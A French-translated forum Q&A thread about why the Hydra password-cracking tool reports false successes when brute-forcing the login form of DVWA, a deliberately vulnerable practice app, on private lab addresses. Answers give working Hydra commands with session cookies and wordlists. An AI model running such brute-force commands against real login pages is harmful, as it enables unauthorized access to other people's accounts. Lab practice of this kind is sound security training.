Pourquoi Hydra renvoie-t-il 16 mots de passe valides alors qu'aucun n'est valide?
J'ai joué avec Hydra et DVWA et j'ai un petit problème - Hydra répond en me faisant savoir que les 16 premiers mots de passe de mon la liste des mots de passe est correcte lorsqu'aucun d'entre eux ne l'est.
Je suppose que c'est une erreur de syntaxe, mais je ne sais pas si quelqu'un l'a déjà vu. J'ai suivi plusieurs tutoriels sans succès, donc j'espère que quelqu'un pourra m'aider.
Syntaxe:
hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."
Production
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 22:30:51
[DATA] 16 tasks, 1 server, 815 login tries (l:1/p:815), ~50 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] Host: 192.168.88.196 login: admin password: adrianna
[STATUS] attack finished for 192.168.88.196 (waiting for children to finish)
[80][www-form] Host: 192.168.88.196 login: admin password: adrian
[80][www-form] Host: 192.168.88.196 login: admin password: aerobics
[80][www-form] Host: 192.168.88.196 login: admin password: academic
[80][www-form] Host: 192.168.88.196 login: admin password: access
[80][www-form] Host: 192.168.88.196 login: admin password: abc
[80][www-form] Host: 192.168.88.196 login: admin password: admin
[80][www-form] Host: 192.168.88.196 login: admin password: academia
[80][www-form] Host: 192.168.88.196 login: admin password: albatross
[80][www-form] Host: 192.168.88.196 login: admin password: alex
[80][www-form] Host: 192.168.88.196 login: admin password: airplane
[80][www-form] Host: 192.168.88.196 login: admin password: albany
[80][www-form] Host: 192.168.88.196 login: admin password: ada
[80][www-form] Host: 192.168.88.196 login: admin password: aaa
[80][www-form] Host: 192.168.88.196 login: admin password: albert
[80][www-form] Host: 192.168.88.196 login: admin password: alexander
1 of 1 target successfuly completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 22:30:51
[~ # ~] modifier [~ # ~]
J'ai réussi à forcer brutalement les informations d'identification d'administrateur. Une fois que je me suis authentifié auprès de DVWA, je devais trouver les informations sur les cookies (cela se fait facilement via votre navigateur ou Burp Suite). Une fois que j'ai eu les informations sur les cookies, j'ai émis la commande suivante qui a fonctionné.
hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=<value for PHP SESSID cookie"
Le même problème m'est arrivé lorsque je jouais avec DVWA. La raison en est que vous essayez de forcer par la force YOUR_SERVER/dvwa/vulnerabilities/brute/index.php qui nécessite une authentification. Essayez de visiter cette page dans votre navigateur et vous serez invité à entrer un nom d'utilisateur et un mot de passe (forme différente de celle que vous essayez de forcer).
Donc, pendant que vous essayez de forcer brutalement ceci:
Hydra "voit" ceci:
Sur le deuxième formulaire, vous n'obtiendrez pas le message "Nom d'utilisateur et/ou mot de passe incorrect.", que vous avez demandé à Hydra d'utiliser pour différencier les connexions infructueuses et réussies. Hydra ne voit pas ce message de connexion qui a échoué, donc il suppose que la connexion a réussi.
Vous devez donc vous connecter à l'aide d'un navigateur, obtenir le cookie de session (par défaut, PHPSESSID), et le nourrir à Hydra, et alors Hydra pourra "voir" le premier forme.
Soi-disant, vous pouvez définir le cookie dans les en-têtes HTTP dans Hydra en faisant H=Cookie:NAME=VALUE ou pointant Hydra vers un fichier qui définit le cookie en faisant C=/path/to/file. Malheureusement, aucun d'entre eux n'a fonctionné pour moi.
Après avoir été frustré, j'ai fini par commenter la ligne: 5 (dvwaPageStartup) dans le fichier /dvwa/vulnerabilities/brute/index.php, qui a permis à Hydra de voir le formulaire de connexion vulnérable réel.
C'est ce qui a fonctionné pour moi:
hydra 192.168.56.2 -l admin -P /home/user/Downloads/pass.txt http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=n5ggv5f2b3vcrl9fe15nqu6v95"
Il semble que Hydra soit très impitoyable en ce qui concerne la syntaxe. Vous pouvez utiliser le format "URL like" pour spécifier le module, l'hôte et le chemin.
Il m'a fallu un certain temps pour y arriver, mais c'est ce qui a fonctionné pour moi (hackme est l'hôte):
hydra -V -l smithy -P /usr/share/wordlists/rockyou.txt "http-get-form://hackme/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"
Modifier avril 2015
On dirait qu'ils l'ont changé et que le format ci-dessus ne fonctionne plus. Cependant, cela est accepté:
hydra hackme -V -l smithy -P /usr/share/wordlists/rockyou.txt http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"
Le piège pour lequel je suis tombé passait tellement de temps à déboguer que mon PHP ID de session avait expiré. Une fois que j'avais rafraîchi cela, il a commencé à fonctionner.
L'autre problème était lorsque je déboguais avec Wireshark - je prenais la première requête HTTP et je me demandais pourquoi les paramètres de nom d'utilisateur et de mot de passe n'étaient pas transmis. Il semble que Hydra fasse d'abord une requête HTTP à l'URL sans paramètres.